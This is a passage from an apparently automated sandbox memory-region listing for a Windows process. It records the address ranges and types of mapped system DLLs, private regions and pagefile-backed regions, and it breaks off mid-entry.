	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 857
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 858
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 859
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 860
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 861
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 862
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 863
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 864
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 865
	        start_va = 0x7fffff64000
	          end_va = 0x7fffff65fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff64000"
	        filename = ""

Region:
	              id = 866
	        start_va = 0x7fffff66000
	          end_va = 0x7fffff67fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff66000"
	        filename = ""

Region:
	              id = 867
	        start_va = 0x7fffff68000
	          end_va = 0x7fffff69fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff68000"
	        filename = ""

Region:
	              id = 868
	        start_va = 0x7fffff6a000
	          end_va = 0x7fffff6bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6a000"
	        filename = ""

Region:
	              id = 869
	        start_va = 0x7fffff6c000
	          end_va = 0x7fffff6dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6c000"
	        filename = ""

Region:
	              id = 870
	        start_va = 0x7fffff6e000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6e000"
	        filename = ""

Region:
	              id = 871
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 872
	        start_va = 0x7fffff74000
	          end_va = 0x7fffff75fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff74000"
	        filename = ""

Region:
	              id = 873
	        start_va = 0x7fffff78000
	          end_va = 0x7fffff79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff78000"
	        filename = ""

Region:
	              id = 874
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 875
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""

Region:
	              id = 876
	        start_va = 0x7fffff82000
	          end_va = 0x7fffff83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff82000"
	        filename = ""

Region:
	              id = 877
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 878
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 879
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 880
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 881
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 882
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 883
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 884
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 885
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 886
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 887
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 888
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 889
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 890
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 891
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 892
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 893
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 894
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 895
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 896
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 897
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 898
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 899
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 900
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 901
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 902
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 915
	        start_va = 0xdc0000
	          end_va = 0xdc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000dc0000"
	        filename = ""

Region:
	              id = 916
	        start_va = 0x24b0000
	          end_va = 0x252ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024b0000"
	        filename = ""

Region:
	              id = 917
	        start_va = 0x3050000
	          end_va = 0x30cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003050000"
	        filename = ""

Region:
	              id = 918
	        start_va = 0x30d0000
	          end_va = 0x314ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030d0000"
	        filename = ""

Region:
	              id = 919
	        start_va = 0x31e0000
	          end_va = 0x325ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031e0000"
	        filename = ""

Region:
	              id = 920
	        start_va = 0x3640000
	          end_va = 0x36bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003640000"
	        filename = ""

Region:
	              id = 921
	        start_va = 0x37d0000
	          end_va = 0x384ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000037d0000"
	        filename = ""

Region:
	              id = 922
	        start_va = 0x3950000
	          end_va = 0x39cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003950000"
	        filename = ""

Region:
	              id = 923
	        start_va = 0x4300000
	          end_va = 0x437ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004300000"
	        filename = ""

Region:
	              id = 924
	        start_va = 0x4440000
	          end_va = 0x463ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004440000"
	        filename = ""

Region:
	              id = 925
	        start_va = 0x4640000
	          end_va = 0x473ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004640000"
	        filename = ""

Region:
	              id = 926
	        start_va = 0x4800000
	          end_va = 0x487ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004800000"
	        filename = ""

Region:
	              id = 927
	        start_va = 0x7fef9350000
	          end_va = 0x7fef9365fff
	     entry_point = 0x7fef9350000
	     region_type = mapped_file
	            name = "ncprov.dll"
	        filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll")

Region:
	              id = 928
	        start_va = 0x7fffff62000
	          end_va = 0x7fffff63fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff62000"
	        filename = ""

Region:
	              id = 929
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 930
	        start_va = 0x7fffff76000
	          end_va = 0x7fffff77fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff76000"
	        filename = ""

Region:
	              id = 931
	        start_va = 0x7fffff7a000
	          end_va = 0x7fffff7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7a000"
	        filename = ""

Region:
	              id = 932
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 933
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 934
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 935
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 936
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 1621
	        start_va = 0x2fb0000
	          end_va = 0x302ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fb0000"
	        filename = ""

Region:
	              id = 1622
	        start_va = 0x39e0000
	          end_va = 0x3a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039e0000"
	        filename = ""

Region:
	              id = 1623
	        start_va = 0x3b00000
	          end_va = 0x3b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b00000"
	        filename = ""

Region:
	              id = 1624
	        start_va = 0x4740000
	          end_va = 0x47bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004740000"
	        filename = ""

Region:
	              id = 1625
	        start_va = 0x7fee0c30000
	          end_va = 0x7fee0d01fff
	     entry_point = 0x7fee0c30000
	     region_type = mapped_file
	            name = "qmgr.dll"
	        filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll")

Region:
	              id = 1626
	        start_va = 0x7fef59b0000
	          end_va = 0x7fef59b9fff
	     entry_point = 0x7fef59b0000
	     region_type = mapped_file
	            name = "bitsperf.dll"
	        filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll")

Region:
	              id = 1627
	        start_va = 0x7fffff5c000
	          end_va = 0x7fffff5dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5c000"
	        filename = ""

Region:
	              id = 1628
	        start_va = 0x7fffff5e000
	          end_va = 0x7fffff5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5e000"
	        filename = ""

Region:
	              id = 1629
	        start_va = 0x7fffff60000
	          end_va = 0x7fffff61fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff60000"
	        filename = ""

Region:
	              id = 1630
	        start_va = 0xdd0000
	          end_va = 0xdd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000dd0000"
	        filename = ""

Region:
	              id = 1631
	        start_va = 0xde0000
	          end_va = 0xde0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000de0000"
	        filename = ""

Region:
	              id = 1632
	        start_va = 0x30a0000
	          end_va = 0x311ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030a0000"
	        filename = ""

Region:
	              id = 1633
	        start_va = 0x7fef5990000
	          end_va = 0x7fef59a1fff
	     entry_point = 0x7fef5990000
	     region_type = mapped_file
	            name = "bitsigd.dll"
	        filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll")

Region:
	              id = 1634
	        start_va = 0x3620000
	          end_va = 0x369ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003620000"
	        filename = ""

Region:
	              id = 1635
	        start_va = 0x7fee0850000
	          end_va = 0x7fee0894fff
	     entry_point = 0x7fee0850000
	     region_type = mapped_file
	            name = "upnp.dll"
	        filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll")

Region:
	              id = 1636
	        start_va = 0x7fef7030000
	          end_va = 0x7fef7040fff
	     entry_point = 0x7fef7030000
	     region_type = mapped_file
	            name = "ssdpapi.dll"
	        filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")

Region:
	              id = 1637
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 1638
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 1639
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 1640
	        start_va = 0x2490000
	          end_va = 0x250ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002490000"
	        filename = ""

Region:
	              id = 1641
	        start_va = 0x26e0000
	          end_va = 0x275ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000026e0000"
	        filename = ""

Region:
	              id = 1642
	        start_va = 0x2b40000
	          end_va = 0x2bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b40000"
	        filename = ""

Region:
	              id = 1643
	        start_va = 0x31f0000
	          end_va = 0x326ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031f0000"
	        filename = ""

Region:
	              id = 1644
	        start_va = 0x3700000
	          end_va = 0x377ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003700000"
	        filename = ""

Region:
	              id = 1645
	        start_va = 0x37f0000
	          end_va = 0x386ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000037f0000"
	        filename = ""

Region:
	              id = 1646
	        start_va = 0x3910000
	          end_va = 0x398ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003910000"
	        filename = ""

Region:
	              id = 1647
	        start_va = 0x4820000
	          end_va = 0x489ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004820000"
	        filename = ""

Region:
	              id = 1648
	        start_va = 0x4980000
	          end_va = 0x49fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004980000"
	        filename = ""

Region:
	              id = 1649
	        start_va = 0x7fedfe80000
	          end_va = 0x7fedfe8efff
	     entry_point = 0x7fedfe80000
	     region_type = mapped_file
	            name = "mspatcha.dll"
	        filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll")

Region:
	              id = 1650
	        start_va = 0x7fedfe90000
	          end_va = 0x7fee00e2fff
	     entry_point = 0x7fedfe90000
	     region_type = mapped_file
	            name = "wuaueng.dll"
	        filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll")

Region:
	              id = 1651
	        start_va = 0x7fee4ea0000
	          end_va = 0x7fee5119fff
	     entry_point = 0x7fee4ea0000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 1652
	        start_va = 0x7fef54d0000
	          end_va = 0x7fef5540fff
	     entry_point = 0x7fef54d0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 1653
	        start_va = 0x7fef7de0000
	          end_va = 0x7fef7dfafff
	     entry_point = 0x7fef7de0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 1654
	        start_va = 0x7fffff5a000
	          end_va = 0x7fffff5bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff5a000"
	        filename = ""

Region:
	              id = 1655
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 1656
	        start_va = 0x7fffff76000
	          end_va = 0x7fffff77fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff76000"
	        filename = ""

Region:
	              id = 1657
	        start_va = 0x7fffff7a000
	          end_va = 0x7fffff7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7a000"
	        filename = ""

Region:
	              id = 1658
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 1659
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""

Region:
	              id = 1660
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 1661
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 1662
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 1663
	        start_va = 0x1d30000
	          end_va = 0x1d3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d30000"
	        filename = ""

Region:
	              id = 1664
	        start_va = 0x4a00000
	          end_va = 0x4afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a00000"
	        filename = ""

Region:
	              id = 1665
	        start_va = 0x77e00000
	          end_va = 0x77e06fff
	     entry_point = 0x77e00000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 1666
	        start_va = 0x7fefd5d0000
	          end_va = 0x7fefd5d7fff
	     entry_point = 0x7fefd5d0000
	     region_type = mapped_file
	            name = "wmsgapi.dll"
	        filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll")

Region:
	              id = 1667
	        start_va = 0x7fedfe70000
	          end_va = 0x7fedfe7cfff
	     entry_point = 0x7fedfe70000
	     region_type = mapped_file
	            name = "wups.dll"
	        filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll")

Region:
	              id = 1703
	        start_va = 0xe00000
	          end_va = 0xe19fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e00000"
	        filename = ""

Region:
	              id = 1704
	        start_va = 0xe20000
	          end_va = 0xe20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e20000"
	        filename = ""

Region:
	              id = 1705
	        start_va = 0xe30000
	          end_va = 0xe30fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000e30000"
	        filename = ""

Region:
	              id = 1706
	        start_va = 0xec0000
	          end_va = 0xec7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ec0000"
	        filename = ""

Region:
	              id = 1707
	        start_va = 0xfd0000
	          end_va = 0xfdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000fd0000"
	        filename = ""

Region:
	              id = 1708
	        start_va = 0xfe0000
	          end_va = 0xfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000fe0000"
	        filename = ""

Region:
	              id = 1709
	        start_va = 0xff0000
	          end_va = 0xffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ff0000"
	        filename = ""

Region:
	              id = 1710
	        start_va = 0x1000000
	          end_va = 0x1000fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001000000"
	        filename = ""

Region:
	              id = 1711
	        start_va = 0x1020000
	          end_va = 0x1021fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001020000"
	        filename = ""

Region:
	              id = 1712
	        start_va = 0x1030000
	          end_va = 0x1030fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001030000"
	        filename = ""

Region:
	              id = 1713
	        start_va = 0x1040000
	          end_va = 0x104ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001040000"
	        filename = ""

Region:
	              id = 1714
	        start_va = 0x1050000
	          end_va = 0x1057fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001050000"
	        filename = ""

Region:
	              id = 1715
	        start_va = 0x13b0000
	          end_va = 0x13bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013b0000"
	        filename = ""

Region:
	              id = 1716
	        start_va = 0x13c0000
	          end_va = 0x13cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013c0000"
	        filename = ""

Region:
	              id = 1717
	        start_va = 0x14d0000
	          end_va = 0x14dffff
	     entry_point = 0x14d0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1718
	        start_va = 0x14e0000
	          end_va = 0x14effff
	     entry_point = 0x14e0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 1719
	        start_va = 0x14f0000
	          end_va = 0x14fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014f0000"
	        filename = ""

Region:
	              id = 1720
	        start_va = 0x1500000
	          end_va = 0x1507fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001500000"
	        filename = ""

Region:
	              id = 1721
	        start_va = 0x1510000
	          end_va = 0x151ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001510000"
	        filename = ""

Region:
	              id = 1722
	        start_va = 0x16a0000
	          end_va = 0x16affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016a0000"
	        filename = ""

Region:
	              id = 1723
	        start_va = 0x16b0000
	          end_va = 0x16b7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016b0000"
	        filename = ""

Region:
	              id = 1724
	        start_va = 0x16c0000
	          end_va = 0x16cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016c0000"
	        filename = ""

Region:
	              id = 1725
	        start_va = 0x1dc0000
	          end_va = 0x1dcffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001dc0000"
	        filename = ""

Region:
	              id = 1726
	        start_va = 0x1dd0000
	          end_va = 0x1ddffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001dd0000"
	        filename = ""

Region:
	              id = 1727
	        start_va = 0x1de0000
	          end_va = 0x1deffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001de0000"
	        filename = ""

Region:
	              id = 1728
	        start_va = 0x1df0000
	          end_va = 0x1dfffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001df0000"
	        filename = ""

Region:
	              id = 1729
	        start_va = 0x1e00000
	          end_va = 0x1e0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e00000"
	        filename = ""

Region:
	              id = 1730
	        start_va = 0x1e10000
	          end_va = 0x1e1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e10000"
	        filename = ""

Region:
	              id = 1731
	        start_va = 0x25d0000
	          end_va = 0x25dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000025d0000"
	        filename = ""

Region:
	              id = 1732
	        start_va = 0x25e0000
	          end_va = 0x25effff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000025e0000"
	        filename = ""

Region:
	              id = 1733
	        start_va = 0x25f0000
	          end_va = 0x25fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000025f0000"
	        filename = ""

Region:
	              id = 1734
	        start_va = 0x2600000
	          end_va = 0x260ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002600000"
	        filename = ""

Region:
	              id = 1735
	        start_va = 0x2610000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002610000"
	        filename = ""

Region:
	              id = 1736
	        start_va = 0x2620000
	          end_va = 0x262ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002620000"
	        filename = ""

Region:
	              id = 1737
	        start_va = 0x2d50000
	          end_va = 0x2d8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002d50000"
	        filename = ""

Region:
	              id = 1738
	        start_va = 0x2d90000
	          end_va = 0x2dcffff
